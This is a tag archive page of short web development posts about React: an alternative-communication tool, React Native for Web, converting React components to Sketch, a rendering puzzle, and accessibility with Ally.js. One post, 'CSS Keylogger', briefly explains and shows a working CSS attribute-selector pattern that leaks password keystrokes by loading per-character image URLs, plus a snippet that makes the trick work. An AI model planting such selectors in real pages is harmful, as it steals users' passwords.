react

A Browser-Based, Open Source Tool for Alternative Communication

Have you ever lost your voice? How did you handle that? Perhaps you carried a notebook and pen to scribble notes. Or jotted quick texts on your phone.

Have you ever traveled somewhere that you didn't speak or understand the language everyone around you was speaking? How did you order food, or buy a train ticket? Perhaps you used a translation phrasebook, or Google translate. Perhaps you relied mostly on physical gestures.

All of these solutions are examples of communication methods — tools and strategies — that you may have used before to solve everyday communicative challenges. The preceding examples are temporary solutions to temporary challenges. Your laryngitis cleared up. You returned home, where accomplishing daily tasks in your native tongue is almost effortless. Now imagine that these situational obstacles were somehow permanent.

React Native: A Better DOM?

Like a lot of people in this Twitter thread, I didn't really understand that React Native was even for building on the web. I thought it was a way to write React to build native mobile apps. Nicolas has a whole "React Native for Web" repo though, explaining otherwise. Plus a conference talk.

It probably doesn't help that the tagline is "Build native mobile apps using JavaScript and React." I suppose, it does do that (e.g. build an iOS or Android app), but it also can build your web app, which could mean... single code base?

Several of the replies suggest "a better DOM" which is interesting. Or, as Nicolas points out, it's kinda like "web: the good parts" as much of it is an intentionally limited subset of the involved platforms in order to simplify things and make them interoperable.

Obviously, this isn't for every project. But, if you have a React-based website already, and either have or want a native mobile app, then it seems like this is worth exploring.

CSS Keylogger

Scary little attack using essentially a bunch of attribute selectors like this:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

At first, I was like wait a minute, you can't select inputs based on what people type in them but only what's set on the attribute itself. Max Chehab shows how it is possible, however, because React uses "controlled components" that do this by default. Not to mention you can apply the typed value to the attribute easily like:

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

How useful and widespread is it to select inputs based on the value attribute like this? I'm not sure I would miss it if it got yanked.

Sketching in the Browser

Mark Dalgleish details how his team at seek tried to build a library of React components that could then be translated into Sketch documents. Why is that important though? Well, Mark describes the problems that his team faced like this:

...most design systems still have a fundamental flaw. Designers and developers continue to work in entirely different mediums. As a result, without constant, manual effort to keep them in sync, our code and design assets are constantly drifting further and further apart.

For companies working with design systems, it seems our industry is stuck with design tools that are essentially built for the wrong medium—completely unable to feed our development work back into the next round of design.

Mark then describes how his team went ahead and open-sourced html-sketchapp-cli, a command line tool for converting HTML documents into Sketch components. The idea is that this will ultimately save everyone from having to effectively copy and paste styles from the React components back to Sketch and vice-versa.

Looks like this is the second major stab at the React to Sketch. The last one that went around was AirBnB's React Sketch.app. We normally think of the end result of design tooling being the code, so it's fascinating to see people finding newfound value in moving the other direction.

How Would You Solve This Rendering Puzzle In React?

Welcome, React aficionados and amateurs like myself! I have a puzzle for you today.

Let's say that you wanted to render out a list of items in a 2 column structure. Each of these items is a separate component. For example, say we had a list of albums and we wanted to render them a full page 2 column list. Each "Album" is a React component.

(more…)

Accessible Web Apps with React, TypeScript, and AllyJS

Accessibility is an aspect of web development that is often overlooked. I would argue that it is as vital as overall performance and code reusability. We justify our endless pursuit of better performance and responsive design by citing the users, but ultimately these pursuits are done with the user's device in mind, not the user themselves and their potential disabilities or restrictions.

A responsive app should be one that delivers its content based on the needs of the user, not only their device.

Luckily, there are tools to help alleviate the learning curve of accessibility-minded development. For example, GitHub recently released their accessibility error scanner, AccessibilityJS and Deque has aXe. This article will focus on a different one: Ally.js, a library simplifying certain accessibility features, functions, and behaviors.

(more…)

icon-anchoricon-closeicon-emailicon-linkicon-logo-staricon-menuicon-nav-guideicon-searchicon-staricon-tag